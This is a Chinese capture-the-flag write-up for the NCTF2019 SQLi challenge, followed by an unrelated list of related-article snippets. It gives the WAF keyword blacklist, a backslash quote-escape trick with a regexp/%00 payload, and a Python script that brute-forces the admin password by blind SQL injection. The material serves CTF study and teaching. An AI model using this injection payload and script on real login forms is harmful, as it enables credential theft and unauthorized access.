[NCTF2019]SQLi

news2024/11/27 6:13:07

进来就有个弹窗

甚至给了sql语句

sqlquery : select * from users where username='' and passwd=''

先扫一下目录,发现有个robots.txt

提示有个hint.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

看到有黑名单,拿到admin的密码就可以获得flag

知识点:

  • ;%00代替注释符/00截断
  • 转义符“\”没被过滤,可以转义符转义username处的单引号,我们提交的用户名就变成了 ’ and passwd=

select * from users where username='' and passwd='' #登录框处查询语句

username=\&passwd=||(passwd/**/regexp/**/"^y");%00   #用户名输入\,密码输入“或”符号加括号、内联绕waf,及结尾截断。

sqlquery : select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^y";

相等于select * from users where (passwd/**/regexp/**/"^y");

脚本:

#coding:utf-8
import requests
import string
import time
url = "http://d0c2931b-a28b-4380-9b1b-f63b2d3c408d.node4.buuoj.cn:81/"

password = ""

string = '_' + string.ascii_lowercase + string.digits
for i in range(1,50):
    print(i)
    for j in string:
        data1 = {
            'username':'\\',
            'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(password+j)
        }
        print(data1)
        res = requests.post(url = url , data = data1)
        if r"welcome.php" in res.text:
            password+=j
            print(password)
            break
        elif res.status_code == 429:
            time.sleep(0.5)

得到密码为:you_will_never_know7788990

得到flag,注意这里的username如果是admin的会被waf拦截

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/47955.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

特种品种权限开通和豁免

目前国内期货市场&#xff0c;许多商品期货品种需要特殊开户流程。主要有7个&#xff08;未包含期权以及金融期货&#xff09;&#xff1a;铁矿石、PTA、20号胶、低硫燃料油、棕榈油、原油、国际铜。 想要交易铁矿石&#xff0c;首先需要拥有一个期货账户&#xff0c;其次再向…

TCL 基于 StarRocks 构建统一的数据分析平台

作者&#xff1a;陈树煌&#xff0c;TCL 实业数据管理部副总监&#xff08;本文为作者在 StarRocks Summit Asia 2022 上的分享&#xff09; 作为伴随改革开放浪潮成长起来的中国领先电子企业&#xff0c;TCL 拥有 13 万员工&#xff0c;业务遍及 160 多个国家和地区&#xff…

[附源码]计算机毕业设计springboot公共台账管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

【重温C++ Primer】第一章、初识C++

目录前言一、编写一个简单的c程序二、编译、运行程序三、初识输入输出四、注释类型五、控制流5.1、循环语句&#xff1a;while for5.2、读取数量不定的输入数据5.2、if 语句六、类Reference前言 上次学C还是在大一的时候&#xff0c;一直都想好好的温习一下C。刚好最后被隔离…

CS5263数据手册|CS5263替代PS176|DP转HDMI2.0芯片设计资料

CS5263替代PS176用于DP转HDMI2.0转换器芯片&#xff0c;DP转HDMI 4K60HZ转换方案芯片&#xff0c;CS5263芯片管脚分布及定义&#xff1a; CS5263芯片DEMO功能演示板如下&#xff1a; CS5263替代PS176支持HDCP 1.4和HDCP2.3&#xff0c;带有支持HDCP中继器的片上键。用于Typec扩…

电脑怎么提取图片中的文字?

图片记录着我们生活的点点滴滴&#xff0c;比如各种办公截图、查快递单号、布置的课堂作业等等&#xff0c;都离不开这种便捷的方法。而我们有时难免需要从图片中提取想要的文字&#xff0c;总不能就靠打字打到手软吧&#xff0c;那么电脑怎么提取图片中的文字呢?有需要的朋友…

基于改进粒子群算法的微电网多目标优化调度(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…

如何应对Redis并发访问带来的问题

前言 我们在使用Redis的过程中&#xff0c;难免会遇到并发访问及数据更新的问题。但很多场景对数据的并发修改是很敏感的&#xff0c;比如库存数据如果没有做好并发读取和更新的版本控制&#xff0c;就会导致严重的业务问题。今天就来说说应该如何做好并发访问及数据更新问题。…

使用c++实现通讯录管理系统

使用c实现通讯录管理系统 系统中主要实现的功能如下&#xff1a; 1、添加联系人2、显示联系人3、删除联系人4、查找5、修改6、清空7、退出通讯录 添加联系人&#xff08;姓名、性别、年龄、联系电话、家庭住址&#xff09;以下步骤; 1、设计联系人结构体2、设计通讯录结构体…

智能穿戴显示屏怎样操作?智能穿戴显示屏具有怎么功能?

随着科技时代的来临&#xff0c;相信每一个人都有一台智能化设备。智能设备不仅在我们日常生活中随处可见&#xff0c;而且智能设备的发展已经渗透到了我们所能看到的每一个角落。智能穿戴技术作为中心是虚拟现实的技术&#xff0c;它不仅实现了便携收发通讯的功能&#xff0c;…

微服务框架 SpringCloud微服务架构 6 Nacos 配置管理 6.3 配置热更新

微服务框架 【SpringCloudRabbitMQDockerRedis搜索分布式&#xff0c;系统详解springcloud微服务技术栈课程|黑马程序员Java微服务】 SpringCloud微服务架构 文章目录微服务框架SpringCloud微服务架构6 Nacos 配置管理6.3 配置热更新6.3.1 配置自动刷新6.3.2 总结6 Nacos 配置…

Linux进阶-进程间通信(ipc)

进程间通信&#xff1a;数据传输、资源共享、事件通知、进程控制。 Linux系统下的ipc 早期unix系统 ipc&#xff1a;管道&#xff08;数据传输&#xff09;、信号&#xff08;事件通知&#xff09;、fifo&#xff08;数据传输&#xff09;。 system-v ipc&#xff08;贝尔实…

图的拓扑排序(入门篇)

文章目录拓扑排序满足拓扑排序的前提&#xff1a;图中没有环拓扑排序的实现拓扑排序测试拓扑排序 首先要说明一点&#xff1a;拓扑排序是针对图这种数据结构的特有排序。 百度百科对拓扑排序是这样定义的&#xff1a; 上面的解释不是特别好懂&#xff0c;学过离散数学才知道偏…

探索数字化节能降碳 广域铭岛助力电解铝行业碳达峰

近日&#xff0c;工信部等三部门联合印发《有色金属行业碳达峰实施方案》&#xff08;下称《方案》&#xff09;&#xff0c;要求确保2030年前有色金属行业实现碳达峰。 其中&#xff0c;针对电解铝行业&#xff0c;《方案》提出了优化冶炼产能规模、调整优化产业结构、强化技…

硬件接口和软件接口

文章目录硬件接口IDESCSISATA光纤通道游戏设备RAID卡USBMD设备MP3视频音频软件接口Java里的接口面向对象的接口聊聊软件接口1. 什么是接口2. 诞生3. 早期&#xff08;1950-1970&#xff09;4. 快速发展&#xff08;1970-1990&#xff09;5. 多元化发展&#xff08;1990-2010&am…

双胶合透镜初始设计

双胶合透镜是光学系统中不可或缺的基本光学零件之一。对于一个新设计的光学系统&#xff0c;首先根据性能要求对其进行外形尺寸计算&#xff0c;然后就得开始对各光学零部件进行初级像差设计&#xff0c;求解每个零部件的 、C的分配值&#xff0c;最后根据对各个零部件的 、C要…

小白学编程(JS):随机生成验证码

这道例题来自《JavaScipt从入门到精通》(第三版)中的【例6.6】。 书中给出的代码如下&#xff1a; <body><div id"result"> 产生的验证码&#xff1a;</div><input type"button" name"Submit" class"go-wenbenkuan…

基于PHP+MySQL公积金在线办理系统的设计与实现

公积金在线办理系统具有很强的信息指导性特征,采用PHP开发公积金在线办理系统 给web带来了全新的动态效果,具有更加灵活和方便的交互性。让企业、个人更加方便地在网上开展公积金等工作。 住房公积金是国家机关&#xff0c;企事业单位等及其所在在职职工缴存的长期住房储金。住…

RK3588平台开发系列讲解(CAN篇)CAN FD 开发文档

芯片名称内核版本安卓版本RK3588Linux 5.10Android 12🚀返回专栏总目录 文章目录 一、驱动文件二、DTS 节点配置三、内核配置四、CAN FD 通信测试工具五、CAN FD 常用命令接口沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将介绍CAN的使用及调试手段。 一、驱…

ADC的数据读取问题

一、从补码说起 计算机是如何表示负数的呢&#xff1f;这要从补码说起。 在数学中&#xff0c;任意基数的负数都在最前面加上"−"符号&#xff08;负号&#xff09;来表示。 然而&#xff0c;在计算机硬件中&#xff0c;数字都以无符号的二进制形式表示&#xff0…